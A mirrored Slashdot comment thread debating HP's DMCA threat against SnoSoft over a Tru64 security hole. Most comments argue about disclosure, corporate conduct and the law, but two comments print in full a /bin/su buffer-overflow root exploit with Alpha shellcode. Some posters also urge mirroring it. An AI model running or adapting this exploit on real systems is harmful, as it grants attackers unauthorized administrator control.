Slashdot Mirror
HP Uses DMCA To Quash Vulnerability Publication
Several readers wrote to note the fact that HP has evidently threatened to use the DMCA and computer crime laws against SnoSoft who have found a security flaw in Tru64. The quote from the HP VP is that the accused "could be fined up to $500,000 and imprisoned for up to five years."
So this is the real reason HP didn't want Bruce Perens to demonstrate against the DMCA?
Very mature compared to what big business does. "Wahh wahhh wahh!!! Help us Uncle Sam, we're poor defenseless transnational corporations!" Buncha whiners.
People shape laws. Not the other way around.
When Alan Cox originally discussed the notion that companies would (mis)use the DMCA in the security field, he was widely attacked for being silly.
Anyone still feel like laughing?
Here's another fucking BIG CORP trying to strongarm to get there way.
Fuck HP. IT's like Ford trying to get the safety concerns of the Pinto hushed up.
Consumers are in danger, and WE COME FIRST.
Halfway around the world, Bill Gates breathes a long sigh of relief as Microsoft's profitability is assured well into the next century...
-Chris
--an unbreakable toy is useful for breaking other toys--
If suits like this go to trial, and don't result in huge gains for the plaintiff, the caselaw will tend to discourage others. In some ways that would be better than a repeal.
-fb Everything not expressly forbidden is now mandatory.
Finisterre said that while he wanted to resolve the dispute with HP, he resented receiving DMCA threats. "We are like the guys that found out that Firestone tires have issues on Ford explorers," he said. "It's not our fault your Explorer has crap tires. We just pointed it out. We should not get attacked for pointing out issues in someone's product nor for proving it is possible."
When will people learn this is the same thing?
Finding and publishing a security hole in an OS is not a way to circumvent copyright protection.
If I take over somebody's True64 machine via this security hole, I haven't broken copyright at all.
Now, if I take documents off of the server, then I may be breaking copyright, but I don't think the connection is strong enough to stand up in a court of law.
I could hold up a book store with a gun and make them give me their books. I've stolen the books and therefore broken copyright. Does that mean we should ban guns since they are a possible copyright protection circumvention device?
It was legitimate for you to cooperate with HP's valid concern that, as a "deep pockets" organization it would be too risky for them to let you challenge the DMCA. I understood that.
But now it appears that you work for a company that is using the DMCA as a club to suppress discussion of security flaws. It doesn't seem that the two hats you wear (your HP role and your open source leadership role) are compatible unless you can persuade HP to back off.
It is possible, of course, that the DMCA threat is coming from one manager who is shooting his mouth off. If so, we need a clarification from higher management: is it the policy of HP to use the DMCA to suppress discussion of their security flaws, or not?
Simply linking to the source code, like they are could get them into trouble, could it not?
http://deepmagic.securify.org.uk:8080/su.c
* Technically, they only threatened to invoke the DMCA. As of now, HP has also only threatened to invoke it.
-- Don't Tase me, bro!
"On July 19, a researcher at SnoSoft posted a note to SecurityFocus.com's popular Bugtraq mailing list with a hyperlink to a computer program letting a Tru64 user gain full administrator privileges. The researcher, who goes by the alias "Phased," said in the message: "Here is the warez, nothing special, but it does the job." "
Call me crazy, but if I were a mega-corporation, I wouldn't want someone releasing "warez" to break into my systems this way. If this was announced in a different way, like say a formal research group contacting the company privately with test results, instead of just some random person posting under an alias to an open list like BugTraq, things might be different.
Come to the University of Mars! Classes starting soon!
this is really a shame. hp was one of the technology companies that had a lot going for it.
when you are fighting in a tough market *and* trying to make a merger happen without too much bad stuff, it seems that it is counter-productive to play this game: you make people mad, you spend resources (money and man-hours that could be easily used elsewhere) and you are *not* going to achive the immediate goal of supressing bad stuff (real or imagined).
so hp gets more points in the bad pr column, they waste money, and the problem doesn't go away. i hope that they spin off the printer division before they crash and burn.
eric
p.s. i guess the worst part is that hp *didn't* learn from all the other companies that went down this path.
got fed up of corporate bullshit
here is the warez, nothing special, but it does the job
note, this is just one of many many exploitable bofs in tru64 5.x
http://deepmagic.securify.org.uk:8080/su.c
phased
phased@mail
How are we to feel secure while computing if it is illegal to check up on the companies providing the software/hardware solutions?
... except the criminals who are going to exploit the vulerability and steal hard earned money.
Imagine if you would, a secure piece of software ( or a secure piece of hardware ) is sold to handle monitary transactions, no-one can verify that the software/hardware is infact secure
Yeah for the DMCA for protecting corporations instead of the individual!
my 2 cents.
I will never buy another one of your products, and I am seriously considering returning the ones that I have. I am in the position that has a great deal of spending power and 95% of the say as to what my company purchases, and I will never purchase an HP or Compaq product again. Thank you very much.
Sincerely,
A Former Customer.
(B) + (D) + (B) + (D) = (K) + (&)
The part that says "Thou shalt not give multi-billion dollar companies, who buy laws, a hard time."
python -c "x='python -c %sx=%s; print x%%(chr(34),repr(x),chr(34))%s'; print x%(chr(34),repr(x),chr(34))"
Take it to court and maybe lose, even if any sane reading of the Bill of Rights suggests otherwise.
Unfortunately, the courts are full of judges in their 60s with superstitious beliefs about computers and terror of hackers. The government lawyers will smear these guys up one side and down the other, exploiting every error they made, like calling their exploit "warez", a term commonly used for "stolen" code.
in other news today the FBI raids the offices of SnoSoft in search of DMCA prohibited cracking tools, they immediately sieze compilers, source code, and felt markers.
- Securith through Obscurity
and- Security through Diligence
we now add the mighty- Security through Litigation?
To be fair, when do the handgun designers go to jail again?Kevin Fox
Ok someone fill me in here:
How on earth does a law pertaining to the circumvention of copyright protection systems apply at all to someone releasing a security flaw in an operating system?
Here's the source, baby!
A big customer could claim this damages their ability to operate and sue HP for suppressing information, the absense of which could lead to increased vulnerabilities in their systems.
It's too bad that people have egos, also, because if things like hard crypto implementations, security information, and so on were simply released anonymously into various outlets (e.g., not just the net), there would be nobody to sue.
In this case I think there won't be anybody to sue either -- the individual who made the report might not be subject to US law.
Take this to its logical conclusion, and realize that computer systems in the USA will tend to be less secure than their counterparts in free countries that do not suppress information exchange. I wish it were simpler to relocate to Europe; it sure as hell appears to be easy for them to relocate to the USA.
-fb Everything not expressly forbidden is now mandatory.
The public has the right to know about these security flaws, just as much as we have the right to know if the tires we buy pass safety standards.
HP trying to cover this up just proves its a problem. HP is using the DMCA to prevent people from discussing valid flaws in their OS'.
People have the right to know if the car they're driving -- or are going to buy -- is unsafe. Why? Because their lives depend on it, literally. For the same reason, people have the right to know if the OS they're using is secure. Why? Because their lives depend on it, or at least their carreers. Data important to one's carreer (i.e., scientific experimental data) is stored on one's computer. Private information -- i.e., credit card information -- is stored on a computer. Security holes can literally destroy one's life.
We have the right to know exactly what problems their are in our software.
social sciences can never use experience to verify their statemen
The DMCA just made this world a safer place.
Don't ask, don't tell.
-- My HARDWARE, My CHOICE.
This is just another reason to say "fuck you, the new HP" and run faster to Linux and *BSD. Admittedly, anyone who has recently had to compare the price of an ES40 and an equivalent amount of Intel-compatible compute is probably already heading there...
Still, this sort of head-in-the-sand response to security vulnerabilities is not a good way to make happy customers. Obviously, the exploit exists; what HP apparently wants to do is make sure that it only gets passed around on IRC so that admins can get completely blindsided.
Of course, Compaq already killed the Alpha, and don't get me started on their support contracts (OK, so they inherited those). It's almost as if they don't want customers (well, DigitalUNIX/Tru64 customers probably *are* a bit of a pain in the ass, compared to MCSEs).
It's just sad to see the last bits of the carcass of what was once a pretty cool company (DEC) get so abused.
Theo... is that you?
Email their president and CEO from this page!
Tell her in NICE non flaming tones why you feel what they are doing is wrong. Explain that this kind of action makes you unwilling to buy any more products from them.
--Won't that be grand? Computers and the programs will start thinking and the people will stop. - Dr. Walter Gibbs
HP Classic would never have pulled a stunt like this. They would have gone, "Oops, my bad, here's a bugfix everyone."
As time goes on, it looks more and more as if Walter Hewlett and David Packard were right: This whole "New HP" thing is just so much hogwash.
Schwab
Editor, A1-AAA AmeriCaptions
`Oh, now _this_ is fair!'
Got time? Spend some of it coding or testing
For those of you who are HPaq-ese impaired, here is the message:
Dear HPaq customers,
We thank you for having purchased our products in the past, but now that we have finalized our merger and cashed our options, we have lost our minds and come to the boggling conclusion that we don't want your money anymore. Please do not buy our products because honestly you can't trust us to inform you when there is a defect with our product. This includes any servers, and handhelds our merger partner might peddle, printers, or whatever the hell it is these people do. As a sign of our gratitude for your service, we will be providing each future customer with a free Berber mousepad under which you can sweep any problems you discover. I you believe the problem doesn't exist, and we believe the problem doesn't exist, then we can work together to warp reality and drive cusomers away like poor starving slobs on the street corner to a free luncheon. Personally, I don't recommend you use these things in anything that might risk a human life or attempt to improve society in any way. Heck, I wouldn't run my porn servers on this crap. Well, gotta run, muy coke dealer is here. And don't forget to F off!
P.S. - Don't unravel the mousepad to see how it's made or we'll sue your ass into orbit under the DCMA.
"Beware of he who would deny you access to information, for in his heart, he dreams himself your master."
You can download the source code here.
The theory of relativity doesn't work right in Arkansas.
What a perfect example - a really easy to demonstrate abuse that the DMCA allows. Hell, I could show this case to my non-techie relatives, and they'd understand just how wrong it is. Go HP - this type of bullying helps more then 10 highly payed lobbiests.
"What we have here, is a failure to communicate." - Cool Hand Luke
HP should be thanking them
This is a bad thing for HP. The thing is, hackers love to share their code with the world. And there are two ways to exploit that obsessive desire, either through good (white hat) mechanisms or through bad (cracker) mechanisms. If HP prevents hackers from researching exploits in a legitimate fashion, it won't stop the hackers -- they'll just only leak their hacks onto Eastern European warez websites outside of the reach of US law. HP won't be aware of anything until it's too late and millions of dollars of damage have already been done by malicious parties. It's like that old saw about gun ownership: When hacking software is a crime then only criminals will hack your software.
There are two kinds of people: 1) those who start arrays with one and 1) those who start them with zero.
Why not just all mirror this code, let HP figure that one out...
Author, Shell Scripting : Expert Re
Yep. Murderers don't kill people; guns do! Don't send the murderers to jail; go after the gun manufacturers.
The USC made a stupid law; just because a stupid law exists it does not mean that it should be used to quash legitimate research. If Carly had half a brain, she would fire the idiot VP and apologize to Snosoft. But don't count on it happening anytime soon.
#include stdio.h
#include stdlib.h
#include string.h
#include unistd.h
char shellcode[]= "\x30\x15\xd9\x43" "\x11\x74\xf0\x47" "\x12\x14\x02\x42" "\xfc\xff\x32\xb2" "\x12\x94\x09\x42" "\xfc\xff\x32\xb2" "\xff\x47\x3f\x26" "\x1f\x04\x31\x22" "\xfc\xff\x30\xb2" "\xf7\xff\x1f\xd2" "\x10\x04\xff\x47" "\x11\x14\xe3\x43" "\x20\x35\x20\x42" "xff\xff\xff\xff" "x30\x15\xd9\x43" "\x31\x15\xd8\x43" "\x12\x04\xff\x47" "\x40\xff\x1e\xb6" "\x48\xff\xfe\xb7" "\x98\xff\x7f\x26" "\xd0\x8c\x73\x22" "\x13\x05\xf3\x47" "\x3c\xff\x7e\xb2" "\x69\x6e\x7f\x26" "\x2f\x62\x73\x22" "\x38\xff\x7e\xb2" "\x13\x94\xe7\x43" "\x20\x35\x60\x42" "\xff\xff\xff\xff";
main(int argc, char *argv[]) {
int i, j; char buffer[8239]; char payload[15200];
char nop[] = "\x1f\x04\xff\x47"; bzero(&buffer, 8239); bzero(&payload, 15200); for (i=0;i8233;i++) buffer[i] = 0x41;
buffer[i++] = 0x01; buffer[i++] = 0x04;
buffer[i++] = 0x01; buffer[i++] = 0x40;
buffer[i++] = 0x01;
for (i=0;i15000;) { for(j=0;j4;j++) { payload[i++] = nop[j]; } }
for (i=i,j=0;jsizeof(shellcode);i++,j++)payload[i] = shellcode[j];
printf("/bin/su by phased\n");
printf("payload %db\n", strlen(payload));
printf("buffer %db\n", strlen(buffer));
execl("/usr/bin/su", "su", buffer, payload, 0);
}
The theory of relativity doesn't work right in Arkansas.
You're close, but I don't think you have it quite right. You're still thinking like the old america. In the old america, it could actually be a half a million dollar *lawsuit*. But nowadays, it's a half a million dollar *fine*. Copyright isn't a civil matter anymore. This is a felony, according to the new laws.
do not read this line twice.
It's worthwhile taking some lessons from history. Time was, there was a huge debate in the press - somewhat before George Washington - about whether Locksmiths should publish data about vulnerabilities of locks.
The answer that was eventually arrived at was "Of course, because the professional crooks already know the vulnerabilities, and to publish would reveal to the customers what shoddy goods some locks were, and help improve the state of the art." (sorry, I've been unable to find some quotes on the web). The parallels are obvious.
Another parallel : see the Associated Locksmiths of America's Code of Ethics.
Zoe Brain - Rocket Scientist
But apache doesn't have to support as many investors as HP does. Think about the investors. If this bug were to be reported, these poor, defenseless investors would lose money. You don't want them to lose money, do you? That wouldn't be very nice of you.
Perhaps HP - having stopped Bruce Perens from protesting against the DMCA via civil disobedience - is attacking it via a reductio ad absurdum method. i.e. Showing exactly how it violates the principles of Free Speech. It's officially illegal to state that the Emperor has no clothes.
Zoe Brain - Rocket Scientist
I am quite disappointed with HP's recent conduct with two issues related to the DMCA. I am in a senior enough position as a UNIX administrator that I have significant impact in how a multi-million dollar IT budget is spent. HP's invocation of the DMCA reduces my trust in HP as a vendor of secure and reliable technology. Therefore I am less inclined now than I ever have been in the past to purchase HP products.
The first issue is HP's request that Bruce Parens not present his findings on DVD copyright controls. If he is acting on his own behalf, and includes a disclaimer that this is a separate issue from what he does under the employment of HP, he should be allowed to go forth. If he is presenting HP intellectual property, HP has the right and responsibility to protect itself. This, however, does not seem to be the case.
The more disturbing issue is with regards to the handling of SnoSoft's publication of root exploits to the Tru64 operating system. As a UNIX administrator, I am responsible for researching technologies that I will put into production. Many times, these products are used to protect the intellectual property, stability, or other things that are of great importance to my employer's success and my career. If security researchers cannot force many of the bugs out in the open before I evaluate products, I have much more work on my hands. Furthermore, if I find a bug that I know can be used to compromise my system, without the ability to publicly discuss and disclose the bug, I may be unable to get a fix from the vendor or a home-grown workaround. If I am at the complete mercy of my vendors' good will, I fear that I will have a system that lacks stability and security.
Please reconsider your decision to use the Digital Millenium Copyright Act to stifle free speech. Once you come to the realization that the DMCA is not a law that is useful for HP, please put your lobbying efforts into repealing it and push for funding to enforce pre-DMCA laws that already provide more than adequate protections on copyright and other intellectual property issues.
I do not speak for my employer. Please remember, however, that my employer trusts me to make decisions that are in the employer's best interest. Your actions suggest that the purchase of HP products is in the best interest of no employer that I would work for.
It just occurred to me thinking over this issue that HP and the other major corporations have made their positions plain - they have decided how they are going to deal with our ability to easily disseminate and copy information. The government has decided what it is going to do in regards to this issue - that is to side unilaterally with the corporations against it's constituents.
/. readers to one degree or another favor the rights of the individual to express him or her self, to share information and to act to actively uphold those ideals.
/. is that it provides us with a forum to sound off and occasionally mobilize.
Interestingly, we've decided what we're going to do too. Anyone reading this post (trolls and whoever is pressing refresh in attempts to get fp excepted) has already pretty much decided about how they feel. Most
And one of the brilliant things about
What many of us (me included) need to do is really figure out exactly how we're going to react to all of this. Not just what I'm going to think, but what I'm going to actually do. This sort of thing threatens our personal freedoms, in some cases threatens our livelyhood, threatens shared resources that we hold to be valuable etc...Cheering on the occasional script kiddie who DoS's a corporate server isn't enough.
Not trying to start a revolution here, just trying to clarify my thinking in a public place...
I'd say: why help those companies in the first place? They charge an arm and a leg for their defective software, let them fix it themselves. If their software doesn't work as advertised, sue them if your contract permits it, or switch to something else. Don't waste your time and money on doing some vendor's quality control for them.
Unless they are doing it for the credits, there no reason at all to not simply release the source code anonymously, without claiming any credit for it whatsoever.
No credit -> No blame
I can see HP's problem... the posting referrred to the exploit as "warez", so it was a "r3534r(|-|3r" and not a "researcher" -- some kid working on his PhD -- who came up with the exploit, from all evidence. Being realistic, they *have* to bluster and otherwise overreact: they have a fiduciary responsibility for professional feather ruffling, given the apparent source of the expliut.
Alternately, they could always *fix* the problem...
-- Terry
s/decade/bicential/
DMCA is about the cesation of the exchance of *PUBLIC IP* that happens to interact with private IP. The fact that it exists to destroy the "marketplace of ideas" that our country was partially founded on makes it reprehensable. The fact that it only affects a certain sector of this market is a nonissue, because the removal of any PUBLIC IP for the good of anything is "Un-American", and I'd even be so far-fetched as to say it's Un-Democratic.
How? Follow this example, while it is the extreme, it clearly shows where we are today. A new law about computer security is being discussed in congress, and they bring in some experts to share the current state of exploits. The sharing of that specific knowledge in order to allow a more informed decision by the congress would in itself be illegal. Not because the information is under a acute monopoly, but because that information is illegal in this country. I repeat, that information (Remeber, this information is PUBLIC IP) is *ILLEGAL IN THIS COUNTRY*.
For another example. Imagine that a diffrent law was under debate, a law that had some effect on "pirating" and "hacking", this law required a complete review of the current laws in the area, and thier usage. If this case goes to court, all of the records pertaining to the security vunerability will be secured legally, not just under the DMCA anymore. Congress would be unable to discuss the specifics of this vunerability, and make an informed decision about what new laws need passed.
In both of these situations, information that is clearly PUBLIC IP has been removed from the reach of our lawmakers, causing them to make less than perfect decisions. This is clearly a hinderance on democracy, and obtains that status by disrupting the free trade of public information. This information was deemed unacceptable to exist, and therefore it became illegal to share it. No other possible subset of information not covered under contractual/patent law is so bound in our free country, that makes this the first time in 2 centuries that censored an idea for being bad to a pattent holder. (ed: sorry weak tie there, couldn't think of a better one)
I believe I have upheld my value of the marketplace of ideas, and shown that by limiting democracy a free marketplace is unable to exist.
I live in a giant bucket.
It's HP's own damn fault the flaw exists. And now they are trying to squash out legitimate publication of it. All they are doing is driving the exploit underground where only script kiddies will have access to it.
If the security community doesn't know about the flaws (and workarounds to fix them), and the script kiddies do, they are biting their own asses because they are going to have a really shitty insecure product that is going to have a reputation for being hax0red.
Yeah, the flaw was released without telling HP first, but who cares... HP needs to FIX THEIR SHIT and stop the bitching.
Need Free Juniper/NetScreen Support? JuniperForum
Aparently big corporations don't want flaws in their products exposed and prefer to use lawyers to "secure" their OS. So it's back to the days when exploits floated around in usenet-news (from untracable sources) and a worm/virus had to bring down millions of systems before the softwarecompanies admit there is a security hole?
And there i thought that those companies learned to value security over marketing issues. But obviously thinking farther into the future than 3 months is uncalled for these days. Business sense is dictated by the shareholders now, and the results are shortterm tactics without overseeing the big picture (in this case that fixing security holes is more important in the long run, than sweeping them under the carpet).
"By the way if anyone here is in advertising or marketing... kill yourself." -- Bill Hicks
To Whom It May Concern,
Due to HP's recent abuse of the DMCA I have decided to never purchase an HP or Compaq product again. I am currently the IT manager of a consulting company, who shall remain nameless due to fear of litigation, and am in line to eventually become the CIO of this rapidly growing company. I have in the past been a supporter of HP products, especially your printers and UNIX servers, and Compaq products as well, and this decision has forced me to re-evaluate my commitment to HP. I recently purchased two HP LaserJet printers, one of them has been installed, but the other is still in the box and will be returned in exchange for a different manufacturer. I have a purchasing power of tens of thousands of dollars per year, that will be growing to hundreds of thousands in the future; as well as 95% of the say as to what my company purchases. I can wholeheartedly state that we will never purchase an HP or Compaq product again. I will also be encouraging my colleauges and personal friends to stay away from HP and Compaq products in the future as well. It is time for companies to learn that not only can their CEO's cheat their shareholders out of their retirements, but they cannot use litigation to solve the problems created by their inferior products and broken business models. Thank you for your time and consideration.
Sincerely,
P.S. Please feel free to email me with any questions or comments you might have regarding this note.
(B) + (D) + (B) + (D) = (K) + (&)
Why when Felton stood up, they backed away? They don't have an EVIL HACKER to villify.
Fight Spammers!
The real reason, they are pissed is that they fired the Tru64 people already and HP does not want to make a patch for it. HP was pissed at OpenSSH when the vulnerability in it came out. They had to hire the people back to fix the problem, now they have to hire back again.
I wonder if HP realizes the shitstorm it just released on itself, every other OS manufacturer out there, and every other company and individual that codes publicly released software.
In the recent past the community itself made a reasonable effort to begin notifying developers that they had bugs in their code and give them a reasonable ammount of time to fix said code and deploy patches before making the bugs public. It wasn't a perfect system and not everyone played by the "rules" but at least people seemed to want to behave responsibly.
Now HP has thrown down the gauntlet, and given the one finger salute to every uber haxor, wannabe, script kiddie, grey hat, glam hungry geek on the planet.
Gee the "New HP" sure is acting like some old ignorant twits. You cannot police what you cannot control. And as quickly as the "security community" tried to legitimize themselves - many of them can vanish right back under the limitless depths of the ether.
Mmmmm peer to peer websurfing, mailing lists and newsgroups. Masked behind proxy after proxy. Hosted on a million webservers. *Homer Gurgle*
http://windows.scares.us
Let the crackers have it.
...richie - It is a good day to code.
It might be interesting to watch HP's stock values, if word of this gets out before a patch does.
Sheesh, evil *and* a jerk. -- Jade
Yes... Things change... Now, it's called the Hewlett Compaqard way... and it will go downhill, sadly.
What is the difference between a private company and a public company?
The public company sells stock on a public exchange. This makes it subject to certain financial disclosure requirements. A private company is generally owned by its principals who are also generally involved in the day to day management of the company. A private company does not have to make significant financial disclosures to the public or it's employees.
In both cases the goal of the company is to make money for its owners/investors.
In most cases the ultimate goal for a private company is to 'flip', or go public, cashing out the owners. The process of flipping is carefully engineered to present an appearence of great value where in fact there may be none.
NONE of this has anything to do with customer satisfaction other than that needed for commercial operations.
Companies that deal with software are less supporting of DMCA. If they have a bug in their software, they whip out a patch, put it on their webpage and tell people to install it themselves. They have little to lose if someone hacks around their software since they can more cheaply play a game of cat and mouse with the hackers with the full source code at their disposal where the hacker has none of the proprietary code.
Mrs Fiorina,
I work for a retailer -- Best Buy -- which sells a large volume of HP and Compaq products. I have long been a fan of Hewlett Packard, but some recent news is troubling me.
Kent Ferson's reaction to Phased's posting of the security vulnerability in Tru64 was nothing short of shockingly irresponsible.
Not only am I disturbed that there was no statement of any intent to fix the security hole, but I am shocked at the threat of a lawsuit under the DMCA. You should be grateful that the hole was brought to your attention before it became a widespread problem, not to mention that had you fixed it in a timely manner (as the hole was revealed to you by SnoSoft last year), this would never have been a problem.
This reaction tells me that not only is HP/Compaq concerned more with their image than with ensuring the quality of their products, but that "The New HP" would rather abuse copyright law by "shooting the messenger" than issue a responsible statement, and repair an error before it becomes a problem.
I'll be waiting in the next few days for a press release or some other statement denouncing Mr. Ferson's actions, and showing that HP has plans to repair the hole in Tru64. Until this happens, I'm not sure I'll be able to reccomend that anyone give their money to Hewlett Packard.
Looking forward to your response.
[Name Removed]
--
"I personal[ly] think Unix is "superior" because on LSD it tastes like Blue." -- jbarnett
actually you didn't read closely at all. If you had you would have discovered that this hole has been known for a year.
I didn't say the law should be used to quash legitimate research, only that it will have that effect, as long as it's on the books.
Carly may or may not fire the VP. Either way it will have no effect whatsoever on the real problem, the DMCA.
If companies start to make it a habit of suing people who tell the truth about them people will stop trusting these companies. Why did they tell HP about it first? They were honest and got bitch slapped. So, next time the researchers will think twice before going to the company. Maybe they will just publish on FreeNet or leak their story on Slashdot first?
Bruce, if I were president of HP, I would immediately fire Kent Ferson, the vice president who wrote the letter. The letter says, basically, that HP is not able to fix the problem, and would rather hide its security problems.
This is a marketing disaster for HP. Probably Mr. Ferson has little technical knowledge and does not realize that his letter speaks loudly and clearly to the whole world of technically knowledgeable people, and does irrepairable damage to HP.
We live in an amazing world where free products are better than expensive ones. The open source response to a security problem is to have a bug fix on all the mirrors in 48 hours. The response of billion dollar companies with tens of thousands of well-paid employees is to try to weasel out of doing the right thing. Who would have guessed it would be that way?
It seems that you could do HP a big favor if you could educate top management. But maybe they are not educable.
Imagine...
You have a brand-new deadbolt lock installed on your front door.
A month later, a master key for your lock's exact model leaks out.
Every thief within a hundred miles has a key to your front door, they just have to notice that it fits to rob you blind.
Fortunately, a neighborhood watch group got wind of the leaked key, and started publicising it heavily, saving countless people from break-ins.
So who does the lock manufacturer go after, on learning of this problem?
Not the engineer who stupidly designed a master-keyed lock for the general public...
Not the thieves who make use of this information...
Not even the problem itself, which would take only a limited recall and almost no effort to correct...
Instead, they go after the neighborhood watch group, on some shaky grounds about loss of confidence in the company.
It strikes me as a *DAMNED* good thing that we only have such f'd up laws relating to computers, rather than physical security. Oh, wait, one *could* read the DMCA as applying to physical security. Oops. Time to go install a 2x4 on a latch-and-hinge across my front door.
Anyone know if this exploit would fit on a t-shirt?
Just in case few of us here don't know about him. You can find his homepage here
, and in his Bio you can find:
" Hewlett-Packard Corporation - 2000 to Present
Senior strategist, Linux and Open Source. I am the first Open Source evangelist to gain a role in top management of a multi-Billion-dollar corporation. On the org chart there are only three people between me and the CEO - a general manager, a vice president, and a president. Among my assignments is to challenge HP management."
So he's in position to speak up in this case.
Note: I don't know if it's redundent but I'm sure some people would like to know. I don't ask for any mod point.
not only can their CEO's cheat their shareholders
not only cannot their CEO's cheat their shareholders
I dont see the point of taking HP to task for it. .. whoopdee doo.
.. what we need is a change in the law.
.. too often a flaw gets found and the company sweeps it under the rug maybe they'll fix it in the next version but prior versions are vulnerable.
.. why cant I do it with the applications I use and store my depply personal information (from baby pictures to tax and health records) on?
It's a waste of time. Even if they back off
Please
Hackers can expose findings and report them to companies
Given the sad fact that all our politicians (not just in america but worldwide are elected by money) maybe the following compromise can be reached:
a) Hackers who find vulnerabilites must email a notice and description to the company. He must try to give at least 24 hours notice before announcing it to the public unless he knows of an imminent exploit in the wild (like an impending mass DDOS attack or something). In that case he should be allowed to announce it to the public immediately.
b) Companies that take no action (that is dont make a patch available/requestable) on a vulnerability that was reported to them but not announced to the public, are liable for exploits.
c) The setup of a third party security company or government department where hackers can email reports of finding vulnerabilities. This is like CERT or bugtraq but the organization must have the funding and capability to pursue inaction on the part of companies that do not fix reported and well documented security flaws.
Is there any way for you to use your publicity to bring something like this about?
At least try. I hate the fact that curiousity is now a crime. I am allowed to take apart my car and see how it works
Thanks,
Johan
I can see it here, US Government is progressively inventing laws that ensures:
....Imagine, no violence, no crime, no hunger...a perfect world!
Only the Government can investigate crimes.
Only the Government can test, examine, uncover defectives in consummer products
Only the Government can perform reverse engineering on anything
Only the Government is allowed to use top-grade encryption
The scope of Free Speech is defined by senators, and it happens that no constitutional right are being intruded.
That's to say, US would become a country where citizens, by laws, SHOULD trust the Government and any questions on the already established laws and regulations are prohibited.
What's wrong with the picture? I don't know, but I've read a novel book about a country whose government has absolute power over their citizens and no citizen is allowed to question the decision of the government. This government does not use any military power or violence to control their citizens, but by laws.
IIRC at the end of this story all the citizens end up living in an array of big tubes of liquid, and the rest of the rebels are either jailed(brains were sperated from their body) or terminated(becomes food for others). It's like Matrix, but this time some humans control everything.
Don't say it...don't say it...I'm warning you...
Use Linux.
Damn, I said it.
Why the fuck don't people want exploits fully disclosed? Sure, I don't have a problem with waiting a week or so to give a team/vendor (yes, even Microsoft) a chance to roll out a patch before making it public. It's a courtesy, not a necessity.
<rant />
Clearly some sort of political action is required. I suggest:
1. The DMCA needs to be repealed or ruled unconstitutional. Hopefully the ACLU or the EFF will take a case that'll get us there. Or some rich philanthropist geek could 'violate' it by exercising their constitutional rights. But the best ploy is for every one of *us* to contact (visit,snailmail,fax,call,email) 'our' reps in the House and Senate, rationally outline our objections, and protest like hell if they don't. Civil disobedience, etc.
2. Abolish corporate personhood (same methods).
3. Abolish the lobby industry.
4. Abolish campaign finance. Make it publicly funded, free TV-radio spots (public airwaves) equally distributed among ballot-qualified candidates.
We've let corporations have far too much swing. I'm all for making a buck, but Jesus F***ing Christ...
Comment removed based on user account deletion
I hope you can point them in the right direction, Bruce... and I hope whoever owns this defect has a patch out by tomorrow at noon. =) I know if I owned that code, and I saw this article, I'd be working night and day to get a resolution...
Of course, this is probably Compaq (a "wholly owned subsidary" of HP) that we're talking about, so maybe my company isn't going to hell as fast as some might think.
Today I read an article on news.com (http://news.com.com/2100-1023-947325.html) that Hewlett-Packard has intended to use the Digital Millennium Copyright Act (DMCA) to punish a company that has released information about a security vulnerability in an HP product. For quite some time I have been telling you that the DMCA is a bad law that needs to be repealed, and this is just more evidence to that effect. HP has known about this vulnerability for a year, but has chosen to do nothing to fix it.
HP's action could set a precedent that would stifle technology research. Companies would be free to release broken technologies that would eventually be used in high-security environments. Anyone who attempted to test the strengths of these products would be branded a criminal.
HP's customers and the American public deserve to know about security issues in HP's products. Withholding such information is just like the accounting scandals that have been rampant in recent times. Insecure technology is a weapon that hackers and terrorists can use against us. So when an American company decides to hide behind an American law rather than fix it products, our politicians need to re-examine that law.
I urge you to sponsor legislation that will repeal the DMCA. Americans deserve better. Please write back to me and let me know that you support my fair use rights in a digital world, and that you'll be working to repeal the DMCA.
And the men who hold high places must be the ones who start
To mold a new reality... closer to the heart
In my investigation, I read the Snosoft home page. This is the second sentence of their introductory paragraph:
Now, I don't know any of the people involved or how they really do business, and thus I am not ready to make any allegations. But that sentence sounds a bit like a shakedown, doesn't it?
I would hate to be manipulated in a shakedown of my own company.
On the other hand, some people say this is a year-old bug and that there was long correspondence before one of the employees finally revealed it. I don't know if that's true yet.
What do you think?
Bruce
Bruce Perens.
Judge Kaplan didn't let EXCEPTIONS WRITTEN INTO THE DMCA ITSELF prevent him from ruling against the DeCSS defendants.
Don't count on judges to uphold the law.
(Unless of course, the side that is right is also the side with the most money - which is rarely the case)
Just because it CAN be done, doesn't mean it should!
Computers are now being used extensively in the medical field for everything from life-support, diagnosis, treatment, medical records and billing.
Hacks on billing systems will just cause financial damage, but hacks on the other types of systems CAN KILL.
Hacking SCADA and industrial control systems can KILL and/or cause MAJOR property and environmental damage.
Security holes can literally TAKE one's life.
Just because it CAN be done, doesn't mean it should!
#include <stdio.h>
/* 0x140010401 */
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char shellcode[]=
"\x30\x15\xd9\x43" "\x11\x74\xf0\x47" "\x12\x14\x02\x42" "\xfc\xff\x32\xb2" "\x12\x94\x09\x42" "\xfc\xff\x32\xb2" "\xff\x47\x3f\x26" "\x1f\x04\x31\x22" "\xfc\xff\x30\xb2" "\xf7\xff\x1f\xd2" "\x10\x04\xff\x47"
"\x11\x14\xe3\x43" "\x20\x35\x20\x42" "\xff\xff\xff\xff" "\x30\x15\xd9\x43" "\x31\x15\xd8\x43" "\x12\x04\xff\x47" "\x40\xff\x1e\xb6" "\x48\xff\xfe\xb7" "\x98\xff\x7f\x26" "\xd0\x8c\x73\x22" "\x13\x05\xf3\x47" "\x3c\xff\x7e\xb2" "\x69\x6e\x7f\x26" "\x2f\x62\x73\x22" "\x38\xff\x7e\xb2" "\x13\x94\xe7\x43" "\x20\x35\x60\x42" "\xff\xff\xff\xff";
main(int argc, char *argv[]) {
int i, j;
char buffer[8239];
char payload[15200];
char nop[] = "\x1f\x04\xff\x47";
bzero(&buffer, 8239);
bzero(&payload, 15200);
for (i=0;i<8233;i++)
buffer[i] = 0x41;
buffer[i++] = 0x01;
buffer[i++] = 0x04;
buffer[i++] = 0x01;
buffer[i++] = 0x40;
buffer[i++] = 0x01;
for (i=0;i<15000;) {
for(j=0;j<4;j++) {
payload[i++] = nop[j];
}
}
for (i=i,j=0;j<sizeof(shellcode);i++,j++)
payload[i] = shellcode[j];
printf("/bin/su by phased\n");
printf("payload %db\n", strlen(payload));
printf("buffer %db\n", strlen(buffer));
execl("/usr/bin/su", "su", buffer, payload, 0);
}
The theory of relativity doesn't work right in Arkansas.
"What difference does it make who finds and reports a bug?"
